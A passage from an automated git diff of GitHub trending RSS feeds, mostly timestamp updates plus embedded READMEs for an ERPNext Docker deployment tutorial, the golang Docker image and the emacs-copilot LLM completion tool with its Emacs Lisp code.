<td><span>โ</span></td>
</tr>
<tr>
<td><a href="https://raw.githubusercontent.com/nextcloud/neon/main/packages/neon/neon_notifications">Notifications</a></td>
<td><span>โ</span></td>
</tr>
<tr>
<td>Activity</td>
<td><span>๐</span></td>
</tr>
<tr>
<td>Calendar</td>
<td><span>๐</span></td>
</tr>
<tr>
<td>Contacts</td>
<td><span>๐</span></td>
</tr>
<tr>
<td>Cookbook</td>
<td><span>๐</span></td>
</tr>
<tr>
<td>Photos</td>
<td><span>๐</span></td>
</tr>
<tr>
<td>Talk</td>
<td><span>๐</span></td>
</tr>
<tr>
<td>Tasks</td>
<td><span>๐</span></td>
</tr>
</tbody>
</table>
<h2>Platform support</h2>
<table>
<thead>
<tr>
<th>Platform</th>
<th>Progress</th>
</tr>
</thead>
<tbody>
<tr>
<td>Android</td>
<td><span>โ</span></td>
</tr>
<tr>
<td>iOS</td>
<td><span>๐ง</span></td>
</tr>
<tr>
<td>MacOS</td>
<td><span>๐ง</span></td>
</tr>
<tr>
<td>Linux</td>
<td><span>โ</span></td>
</tr>
<tr>
<td>Windows</td>
<td><span>๐</span></td>
</tr>
<tr>
<td>Web</td>
<td><span>๐ง</span></td>
</tr>
</tbody>
</table>
-
\ No newline at end of file
diff --git a/dataweave/daily/index.xml b/dataweave/daily/index.xml
index 53244678c7d..381aceafe6d 100644
--- a/dataweave/daily/index.xml
+++ b/dataweave/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DataWeave Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:55Z
+ 2024-01-04T01:28:22ZDaily Trending of DataWeave in GitHub
\ No newline at end of file
diff --git a/debian-package-control-file/daily/index.xml b/debian-package-control-file/daily/index.xml
index b11e0224b95..4c49ca1f4d1 100644
--- a/debian-package-control-file/daily/index.xml
+++ b/debian-package-control-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Debian Package Control File Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:57Z
+ 2024-01-04T01:28:23ZDaily Trending of Debian Package Control File in GitHub
\ No newline at end of file
diff --git a/denizenscript/daily/index.xml b/denizenscript/daily/index.xml
index c5fb4a3f485..e7397d3bc70 100644
--- a/denizenscript/daily/index.xml
+++ b/denizenscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DenizenScript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:27:56Z
+ 2024-01-04T01:28:22ZDaily Trending of DenizenScript in GitHub
\ No newline at end of file
diff --git a/desktop/daily/index.xml b/desktop/daily/index.xml
index 9d66b07f41c..774060cd42a 100644
--- a/desktop/daily/index.xml
+++ b/desktop/daily/index.xml
@@ -1,7 +1,7 @@
GitHub desktop Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:07Z
+ 2024-01-04T01:28:35ZDaily Trending of desktop in GitHub
\ No newline at end of file
diff --git a/dhall/daily/index.xml b/dhall/daily/index.xml
index 99a0bc7dcc0..e9bb29c3126 100644
--- a/dhall/daily/index.xml
+++ b/dhall/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dhall Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:08Z
+ 2024-01-04T01:28:36ZDaily Trending of Dhall in GitHub
\ No newline at end of file
diff --git a/diff/daily/index.xml b/diff/daily/index.xml
index 7e765eca878..c61009c4c0a 100644
--- a/diff/daily/index.xml
+++ b/diff/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Diff Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:09Z
+ 2024-01-04T01:28:36ZDaily Trending of Diff in GitHub
\ No newline at end of file
diff --git a/digital-command-language/daily/index.xml b/digital-command-language/daily/index.xml
index c7bf89ad23c..792b2034edf 100644
--- a/digital-command-language/daily/index.xml
+++ b/digital-command-language/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DIGITAL Command Language Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:09Z
+ 2024-01-04T01:28:37ZDaily Trending of DIGITAL Command Language in GitHub
\ No newline at end of file
diff --git a/dircolors/daily/index.xml b/dircolors/daily/index.xml
index 8cbf2603c71..5f5fe7a5518 100644
--- a/dircolors/daily/index.xml
+++ b/dircolors/daily/index.xml
@@ -1,7 +1,7 @@
GitHub dircolors Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:10Z
+ 2024-01-04T01:28:41ZDaily Trending of dircolors in GitHub
\ No newline at end of file
diff --git a/directx-3d-file/daily/index.xml b/directx-3d-file/daily/index.xml
index cbc0fd0d08b..d7d1cc5aad8 100644
--- a/directx-3d-file/daily/index.xml
+++ b/directx-3d-file/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DirectX 3D File Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:12Z
+ 2024-01-04T01:28:38ZDaily Trending of DirectX 3D File in GitHub
\ No newline at end of file
diff --git a/dm/daily/index.xml b/dm/daily/index.xml
index 9bcc834f6ef..7668c421c96 100644
--- a/dm/daily/index.xml
+++ b/dm/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DM Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:13Z
+ 2024-01-04T01:28:40ZDaily Trending of DM in GitHub
\ No newline at end of file
diff --git a/dns-zone/daily/index.xml b/dns-zone/daily/index.xml
index 1cd273f9d9b..f48ff907afa 100644
--- a/dns-zone/daily/index.xml
+++ b/dns-zone/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DNS Zone Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:11Z
+ 2024-01-04T01:28:39ZDaily Trending of DNS Zone in GitHub
\ No newline at end of file
diff --git a/dockerfile/daily/index.xml b/dockerfile/daily/index.xml
index 944d5616ce1..b0c68b2bcef 100644
--- a/dockerfile/daily/index.xml
+++ b/dockerfile/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Dockerfile Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:18Z
+ 2024-01-04T01:28:46ZDaily Trending of Dockerfile in GitHub
- Erpnext-Setup/erpnext14-with-github-actions
- 2024-01-03T01:28:18Z
- tag:github.com,2024-01-03:/Erpnext-Setup/erpnext14-with-github-actions
-
- <p></p><hr><h1>Install erpnext app with github actions</h1>
<p><img src="https://img.shields.io/badge/Docker-23.0.3-%232496ED.svg?style=for-the-badge&logo=docker&logoColor=white" alt="Docker"> <img src="https://img.shields.io/badge/ERPNext-v14-%2343853D.svg?style=for-the-badge&logo=erpnext&logoColor=white" alt="ERPNext"> <img src="https://img.shields.io/badge/MariaDB-10.8-%234479A1.svg?style=for-the-badge&logo=mariadb&logoColor=white" alt="MariaDB"> <img src="https://img.shields.io/badge/Python-3.10-%234B8BBE.svg?style=for-the-badge&logo=python&logoColor=white" alt="Python"></p>
<p><img src="https://github.com/Erpnext-Setup/erpnext14-with-github-actions/assets/105498424/029354ff-4942-40b2-b7cb-4a89f42f766b" alt="dockerized erpnext 14 with github"></p>
<h2>Introduction</h2>
<p>In this tutorial, we will walk you through the process of setting up an ERPNext application in a Dockerized environment using GitHub Actions. Whether you're a seasoned developer or a newcomer to ERPNext, this guide is designed to simplify the deployment process on a fresh Ubuntu server.</p>
<h2>Prerequisites</h2>
<ul>
<li>OS : ubuntu 22.04 [i am using <code>aws ec2 instance</code> (type: t3.small)]</li>
<li>USER : user with sudo privileges [i am using <code>root user</code>]</li>
<li>USER/PASSWORD AUTHENTICATION</li>
</ul>
<h2>Work to do:</h2>
<ul>
<li>fork repo</li>
<li>define secret variables</li>
<li>run workflow</li>
</ul>
<h2>Getting started</h2>
<h3>Fork this Repository:</h3>
<p>To start installation, fork ๐ฝ this repo:</p>
<p><img src="https://github.com/Erpnext-Setup/erpnext14-with-github-actions/assets/105498424/d8eddbcb-dbe8-4247-91ac-42b01f19e505" alt="image"></p>
<h3>Define secrets variables in actions secrets and variables:</h3>
<p>Go to your GitHub repository. Click on <code>Settings</code> in the upper-right corner. In the left sidebar, click on <code>Secrets</code> Click on <code>New repository secret</code>. Name the secret as SSH_HOST and enter the server IP address.</p>
<h4>SSH_HOST, SSH_USER, SSH_PASSWORD:</h4>
<p>Create two more secrets: SSH_USER, SSH_HOST and SSH_PASSWORD for the server username and password.</p>
<h4>ADMIN_PASSWORD:</h4>
<p>Create a new secret named ADMIN_PASSWORD and set the value to the administrator password for the ERP app.</p>
<h4>ERP_SITE_NAME:</h4>
<p>Create a new secret named ERP_SITE_NAME and set the value to your desired ERP site name (e.g., erpsite.local).</p>
<h4>MYSQL_ROOT_PASSWORD, MYSQL_ROOT_USER:</h4>
<p>Create two secrets: MYSQL_ROOT_PASSWORD and MYSQL_ROOT_USER for the MariaDB root user password and username.</p>
<p><img src="https://github.com/Erpnext-Setup/erpnext14-with-github-actions/assets/105498424/1f19f061-045c-4dd5-bb98-ef1255da5603" alt="image"></p>
<h4>Run workflow:</h4>
<p>Run the workflow manually / commit any change.</p>
<h2>PORTS</h2>
<pre><code> 3306 8000 9000
</code></pre>
+ docker-library/golang
+ 2024-01-04T01:28:46Z
+ tag:github.com,2024-01-04:/docker-library/golang
+
+ <p>Docker Official Image packaging for golang</p><hr><h1><a href="https://github.com/docker-library/golang">https://github.com/docker-library/golang</a></h1>
<h2>Maintained by: <a href="https://github.com/docker-library/golang">the Docker Community</a></h2>
<p>This is the Git repo of the <a href="https://github.com/docker-library/official-images#what-are-official-images">Docker "Official Image"</a> for <a href="https://hub.docker.com/_/golang/"><code>golang</code></a> (not to be confused with any official <code>golang</code> image provided by <code>golang</code> upstream). See <a href="https://hub.docker.com/_/golang/">the Docker Hub page</a> for the full readme on how to use this Docker image and for information regarding contributing and issues.</p>
<p>The <a href="https://hub.docker.com/_/golang/">full image description on Docker Hub</a> is generated/maintained over in <a href="https://github.com/docker-library/docs">the docker-library/docs repository</a>, specifically in <a href="https://github.com/docker-library/docs/tree/master/golang">the <code>golang</code> directory</a>.</p>
<h2>See a change merged here that doesn't show up on Docker Hub yet?</h2>
<p>For more information about the full official images change lifecycle, see <a href="https://github.com/docker-library/faq#an-images-source-changed-in-git-now-what">the "An image's source changed in Git, now what?" FAQ entry</a>.</p>
<p>For outstanding <code>golang</code> image PRs, check <a href="https://github.com/docker-library/official-images/labels/library%2Fgolang">PRs with the "library/golang" label on the official-images repository</a>. For the current "source of truth" for <a href="https://hub.docker.com/_/golang/"><code>golang</code></a>, see <a href="https://github.com/docker-library/official-images/raw/master/library/golang">the <code>library/golang</code> file in the official-images repository</a>.</p>
<hr>
<ul>
<li><a href="https://github.com/docker-library/golang/actions?query=workflow%3A%22GitHub+CI%22+branch%3Amaster"><img src="https://img.shields.io/github/actions/workflow/status/docker-library/golang/ci.yml?branch=master&label=GitHub%20CI" alt="build status badge"></a></li>
<li><a href="https://doi-janky.infosiftr.net/job/update.sh/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/update.sh/job/golang.svg?label=Automated%20update.sh" alt="build status badge"></a></li>
</ul>
<table>
<thead>
<tr>
<th align="center">Build</th>
<th align="center">Status</th>
<th align="center">Badges</th>
<th align="center">(per-arch)</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/amd64/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/amd64/job/golang.svg?label=amd64" alt="amd64 build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/arm32v5/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/arm32v5/job/golang.svg?label=arm32v5" alt="arm32v5 build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/arm32v6/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/arm32v6/job/golang.svg?label=arm32v6" alt="arm32v6 build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/arm32v7/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/arm32v7/job/golang.svg?label=arm32v7" alt="arm32v7 build status badge"></a></td>
</tr>
<tr>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/arm64v8/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/arm64v8/job/golang.svg?label=arm64v8" alt="arm64v8 build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/i386/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/i386/job/golang.svg?label=i386" alt="i386 build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/mips64le/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/mips64le/job/golang.svg?label=mips64le" alt="mips64le build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/ppc64le/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/ppc64le/job/golang.svg?label=ppc64le" alt="ppc64le build status badge"></a></td>
</tr>
<tr>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/s390x/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/s390x/job/golang.svg?label=s390x" alt="s390x build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/multiarch/job/windows-amd64/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/multiarch/job/windows-amd64/job/golang.svg?label=windows-amd64" alt="windows-amd64 build status badge"></a></td>
<td align="center"><a href="https://doi-janky.infosiftr.net/job/put-shared/job/light/job/golang/"><img src="https://img.shields.io/jenkins/s/https/doi-janky.infosiftr.net/job/put-shared/job/light/job/golang.svg?label=put-shared" alt="put-shared build status badge"></a></td>
<td align="center"></td>
</tr>
</tbody>
</table>
<!-- THIS FILE IS GENERATED BY https://github.com/docker-library/docs/blob/master/generate-repo-stub-readme.sh -->
\ No newline at end of file
diff --git a/dogescript/daily/index.xml b/dogescript/daily/index.xml
index 098bf8643f0..6b8e2d2dca3 100644
--- a/dogescript/daily/index.xml
+++ b/dogescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dogescript Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:14Z
+ 2024-01-04T01:28:42ZDaily Trending of Dogescript in GitHub
\ No newline at end of file
diff --git a/dtrace/daily/index.xml b/dtrace/daily/index.xml
index 78e0908be17..7dcb68f7ef5 100644
--- a/dtrace/daily/index.xml
+++ b/dtrace/daily/index.xml
@@ -1,7 +1,7 @@
GitHub DTrace Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:16Z
+ 2024-01-04T01:28:44ZDaily Trending of DTrace in GitHub
\ No newline at end of file
diff --git a/dylan/daily/index.xml b/dylan/daily/index.xml
index 57693e79db4..93a00071f00 100644
--- a/dylan/daily/index.xml
+++ b/dylan/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Dylan Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:43Z
+ 2024-01-04T01:28:57ZDaily Trending of Dylan in GitHub
\ No newline at end of file
diff --git a/e-mail/daily/index.xml b/e-mail/daily/index.xml
index 6ebe2ff4577..9f021ecced0 100644
--- a/e-mail/daily/index.xml
+++ b/e-mail/daily/index.xml
@@ -1,7 +1,7 @@
GitHub E-mail Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:17Z
+ 2024-01-04T01:29:31ZDaily Trending of E-mail in GitHub
\ No newline at end of file
diff --git a/e/daily/index.xml b/e/daily/index.xml
index 696652d15aa..33e4d9cb708 100644
--- a/e/daily/index.xml
+++ b/e/daily/index.xml
@@ -1,7 +1,7 @@
GitHub E Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:44Z
+ 2024-01-04T01:28:58ZDaily Trending of E in GitHub
\ No newline at end of file
diff --git a/eagle/daily/index.xml b/eagle/daily/index.xml
index 8c7537df680..3f498e9fd3f 100644
--- a/eagle/daily/index.xml
+++ b/eagle/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Eagle Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:42Z
+ 2024-01-04T01:28:59ZDaily Trending of Eagle in GitHub
\ No newline at end of file
diff --git a/earthly/daily/index.xml b/earthly/daily/index.xml
index c9feecd2e00..97f21597375 100644
--- a/earthly/daily/index.xml
+++ b/earthly/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Earthly Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:45Z
+ 2024-01-04T01:29:01ZDaily Trending of Earthly in GitHub
\ No newline at end of file
diff --git a/easybuild/daily/index.xml b/easybuild/daily/index.xml
index 01f63b30630..54377b8a8ae 100644
--- a/easybuild/daily/index.xml
+++ b/easybuild/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Easybuild Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:46Z
+ 2024-01-04T01:29:03ZDaily Trending of Easybuild in GitHub
\ No newline at end of file
diff --git a/ebnf/daily/index.xml b/ebnf/daily/index.xml
index 030ac56797b..da34a6968fa 100644
--- a/ebnf/daily/index.xml
+++ b/ebnf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EBNF Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:46Z
+ 2024-01-04T01:29:02ZDaily Trending of EBNF in GitHub
\ No newline at end of file
diff --git a/ec/daily/index.xml b/ec/daily/index.xml
index 89dd374c4a8..b8ccc79370e 100644
--- a/ec/daily/index.xml
+++ b/ec/daily/index.xml
@@ -1,7 +1,7 @@
GitHub eC Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:47Z
+ 2024-01-04T01:29:03ZDaily Trending of eC in GitHub
\ No newline at end of file
diff --git a/ecere-projects/daily/index.xml b/ecere-projects/daily/index.xml
index e5653f43d61..29c368f38cd 100644
--- a/ecere-projects/daily/index.xml
+++ b/ecere-projects/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ecere Projects Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:48Z
+ 2024-01-04T01:29:04ZDaily Trending of Ecere Projects in GitHub
\ No newline at end of file
diff --git a/ecl/daily/index.xml b/ecl/daily/index.xml
index d6c7dcf65ee..0f0744abbe6 100644
--- a/ecl/daily/index.xml
+++ b/ecl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ECL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:49Z
+ 2024-01-04T01:29:06ZDaily Trending of ECL in GitHub
\ No newline at end of file
diff --git a/eclipse/daily/index.xml b/eclipse/daily/index.xml
index a818bdd7445..0b27b8df9bc 100644
--- a/eclipse/daily/index.xml
+++ b/eclipse/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ECLiPSe Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:50Z
+ 2024-01-04T01:29:05ZDaily Trending of ECLiPSe in GitHub
\ No newline at end of file
diff --git a/editorconfig/daily/index.xml b/editorconfig/daily/index.xml
index bb80278dbee..84ffe409022 100644
--- a/editorconfig/daily/index.xml
+++ b/editorconfig/daily/index.xml
@@ -1,7 +1,7 @@
GitHub EditorConfig Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:52Z
+ 2024-01-04T01:29:09ZDaily Trending of EditorConfig in GitHub
\ No newline at end of file
diff --git a/edje-data-collection/daily/index.xml b/edje-data-collection/daily/index.xml
index 2b01e1f0e46..67ba093f9c8 100644
--- a/edje-data-collection/daily/index.xml
+++ b/edje-data-collection/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Edje Data Collection Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:53Z
+ 2024-01-04T01:29:08ZDaily Trending of Edje Data Collection in GitHub
\ No newline at end of file
diff --git a/edn/daily/index.xml b/edn/daily/index.xml
index e2ccc94519b..d7b0ff91c8e 100644
--- a/edn/daily/index.xml
+++ b/edn/daily/index.xml
@@ -1,7 +1,7 @@
GitHub edn Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:53Z
+ 2024-01-04T01:29:08ZDaily Trending of edn in GitHub
\ No newline at end of file
diff --git a/eiffel/daily/index.xml b/eiffel/daily/index.xml
index 2b98ae3b6f7..5729b7fed87 100644
--- a/eiffel/daily/index.xml
+++ b/eiffel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Eiffel Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:54Z
+ 2024-01-04T01:29:11ZDaily Trending of Eiffel in GitHub
\ No newline at end of file
diff --git a/ejs/daily/index.xml b/ejs/daily/index.xml
index 838288bbe6b..fc53eb90816 100644
--- a/ejs/daily/index.xml
+++ b/ejs/daily/index.xml
@@ -1,14 +1,7 @@
GitHub EJS Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:57Z
+ 2024-01-04T01:29:13ZDaily Trending of EJS in GitHub
-
- pro-whitehatjr/PRO-C217-Project-Solution
- 2024-01-03T01:28:57Z
- tag:github.com,2024-01-03:/pro-whitehatjr/PRO-C217-Project-Solution
-
- <p></p><hr>
-
\ No newline at end of file
diff --git a/elixir/daily/index.xml b/elixir/daily/index.xml
index 316f52e087e..959ce73ee02 100644
--- a/elixir/daily/index.xml
+++ b/elixir/daily/index.xml
@@ -1,14 +1,7 @@
GitHub Elixir Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:59Z
+ 2024-01-04T01:29:16ZDaily Trending of Elixir in GitHub
-
- nileshtrivedi/portal
- 2024-01-03T01:28:59Z
- tag:github.com,2024-01-03:/nileshtrivedi/portal
-
- <p>Open-source alternative to circle.so</p><hr>
-
\ No newline at end of file
diff --git a/elm/daily/index.xml b/elm/daily/index.xml
index 88b04aab748..a88cc5713b1 100644
--- a/elm/daily/index.xml
+++ b/elm/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Elm Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:28:55Z
+ 2024-01-04T01:29:12ZDaily Trending of Elm in GitHub
\ No newline at end of file
diff --git a/emacs-lisp/daily/index.xml b/emacs-lisp/daily/index.xml
index 6f6e5c1f343..9219cf1d019 100644
--- a/emacs-lisp/daily/index.xml
+++ b/emacs-lisp/daily/index.xml
@@ -1,28 +1,7 @@
GitHub Emacs Lisp Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:29:05Z
+ 2024-01-04T01:29:22ZDaily Trending of Emacs Lisp in GitHub
-
- jart/emacs-copilot
- 2024-01-03T01:29:05Z
- tag:github.com,2024-01-03:/jart/emacs-copilot
-
- <p>Large language model code completion for Emacs</p><hr><h1>Emacs Copilot</h1>
<p><a href="https://github.com/jart/emacs-copilot/assets/49262/1a79d4e4-9622-452e-9944-950c6f21d67f">https://github.com/jart/emacs-copilot/assets/49262/1a79d4e4-9622-452e-9944-950c6f21d67f</a></p>
<p>The <code>copilot-complete</code> function demonstrates that ~100 lines of LISP is all it takes for Emacs to do that thing Github Copilot and VSCode are famous for doing except superior w.r.t. both quality and freedom</p>
<p>Emacs Copilot helps you do pair programming with a local-running LLM that generates code completions within Emacs buffers. The LLM is run as a sub-command that remembers your local editing history on a file by file basis. Tokens stream into your buffer without delay as gen'd and you can hit <code>C-g</code> to interrupt your LLM at any time. History and memory can also be deleted from the LLM's context when deleting code from your Emacs buffer that matches up verbatim. Copilot is language agnostic and your programming language is determed by file extension</p>
<p>One really good LLM right now is WizardCoder 34b since it scores the same as GPT-4 on HumanEval. You need a computer like a Mac Studio M2 Ultra in order to use it. If you have a mere Macbook Pro, then try the Q3 version. If you have a modest PC then you could consider downloading the WizardCoder-Python-13b llamafile since it's almost as good, and will even go acceptably fast on CPU-only systems having at least AVX2 and 2200 MT/s RAM. If you're even more strapped for compute and use things like Raspberry Pi, then give Phi-2 a spin</p>
<p>To get started, try writing yourself the first line of a function. For example, you might open up a file in your editor named <code>hello.c</code> and then type:</p>
<pre><code class="language-c">bool is_prime(int x) {
</code></pre>
<p>Then place your caret at the end of the line, and press <code>C-c C-k</code> to hand over control to your LLM, which should generate the rest of the function implementation for you. Things are also tuned so the LLM is likely to stop as soon as a function is made. Explanations and other kind of ELI5 commentary is avoided too.</p>
<p>Later on, if you were to write something like this:</p>
<pre><code class="language-c">int main() {
for (int i = 0; i < 100;
</code></pre>
<p>And ask your LLM to complete that, then your LLM will likely recall that you two wrote an is_prime() function earlier, even though it's only considering those two lines in the current instruction. You'll most likely then see it decide to generate code to print the primes</p>
<h2>Reference Implementation</h2>
<p>If you've downloaded your LLM (see below) then all you really need is to copy and paste this code into an Emacs buffer and run <code>M-x eval-buffer</code>. You'll want to tune the code to your own personal taste. That's why it's being presented in full as a succinct code example here.</p>
<pre><code class="language-elisp">(defun copilot-complete ()
(interactive)
(let* ((spot (point))
(inhibit-quit t)
(curfile (buffer-file-name))
(cash (concat curfile ".cache"))
(hist (concat curfile ".prompt"))
(lang (file-name-extension curfile))
;; extract current line, to left of caret
;; and the previous line, to give the llm
(code (save-excursion
(dotimes (i 2)
(when (> (line-number-at-pos) 1)
(previous-line)))
(beginning-of-line)
(buffer-substring-no-properties (point) spot)))
;; create new prompt for this interaction
(system "\
You are an Emacs code generator. \
Writing comments is forbidden. \
Writing test code is forbidden. \
Writing English explanations is forbidden. ")
(prompt (format
"[INST]%sGenerate %s code to complete:[/INST]\n```%s\n%s"
(if (file-exists-p cash) "" system) lang lang code)))
;; iterate text deleted within editor then purge it from prompt
(when kill-ring
(save-current-buffer
(find-file hist)
(dotimes (i 10)
(let ((substring (current-kill i t)))
(when (and substring (string-match-p "\n.*\n" substring))
(goto-char (point-min))
(while (search-forward substring nil t)
(delete-region (- (point) (length substring)) (point))))))
(save-buffer 0)
(kill-buffer (current-buffer))))
;; append prompt for current interaction to the big old prompt
(write-region prompt nil hist 'append 'silent)
;; run llamafile streaming stdout into buffer catching ctrl-g
(with-local-quit
(call-process "wizardcoder-python-34b-v1.0.Q5_K_M.llamafile"
nil (list (current-buffer) nil) t
"--prompt-cache" cash
"--prompt-cache-all"
"--silent-prompt"
"--temp" "0"
"-c" "1024"
"-ngl" "35"
"-r" "```"
"-r" "\n}"
"-f" hist))
;; get rid of most markdown syntax
(let ((end (point)))
(save-excursion
(goto-char spot)
(while (search-forward "\\_" end t)
(backward-char)
(delete-backward-char 1 nil)
(setq end (- end 1)))
(goto-char spot)
(while (search-forward "```" end t)
(delete-backward-char 3 nil)
(setq end (- end 3))))
;; append generated code to prompt
(write-region spot end hist 'append 'silent))))
</code></pre>
<h2>Emacs Download Link</h2>
<p>If you don't have Emacs installed, or you use a platform like Windows where it's normally difficult to obtain, then here's a single-file build of Emacs that (like llamafile) is directly runnable and needn't be installed.</p>
<ul>
<li><a href="https://cosmo.zip/pub/cosmos/bin/emacs">https://cosmo.zip/pub/cosmos/bin/emacs</a></li>
</ul>
<p>See the <a href="https://raw.githubusercontent.com/jart/emacs-copilot/main/#gotchas">Gotchas</a> below if you have trouble running it. See also the <a href="https://raw.githubusercontent.com/jart/emacs-copilot/main/#supported-oses-and-cpus">Supported OSes and CPUs</a> list too.</p>
<h2>LLM Download Links</h2>
<p>Here are some LLMs that are known to work reasonably well with Emacs Copilot, that are freely available to download online. They're all good, but the biggest one is the best one. Choose the size that's appropriate for your hardware.</p>
<table>
<thead>
<tr>
<th>Model</th>
<th>Size</th>
<th>License</th>
<th><a href="https://github.com/mozilla-Ocho/llamafile">llamafile</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>WizardCoder-Python-34b (Q5)</td>
<td>23.9 GB</td>
<td><a href="https://ai.meta.com/resources/models-and-libraries/llama-downloads/">LLaMA 2</a></td>
<td><a href="https://huggingface.co/jartine/WizardCoder-Python-34B-V1.0-llamafile/resolve/main/wizardcoder-python-34b-v1.0.Q5_K_M.llamafile?download=true">wizardcoder-python-34b-v1.0.Q5_K_M.llamafile</a></td>
</tr>
<tr>
<td>WizardCoder-Python-34b (Q3)</td>
<td>16.3 GB</td>
<td><a href="https://ai.meta.com/resources/models-and-libraries/llama-downloads/">LLaMA 2</a></td>
<td><a href="https://huggingface.co/jartine/WizardCoder-Python-34B-V1.0-llamafile/resolve/main/wizardcoder-python-34b-v1.0.Q3_K_M.llamafile?download=true">wizardcoder-python-34b-v1.0.Q3_K_M.llamafile</a></td>
</tr>
<tr>
<td>WizardCoder-Python-13b</td>
<td>7.33 GB</td>
<td><a href="https://ai.meta.com/resources/models-and-libraries/llama-downloads/">LLaMA 2</a></td>
<td><a href="https://huggingface.co/jartine/wizardcoder-13b-python/resolve/main/wizardcoder-python-13b-main.llamafile?download=true">wizardcoder-python-13b-main.llamafile</a></td>
</tr>
<tr>
<td>Phi-2</td>
<td>2.09 GB</td>
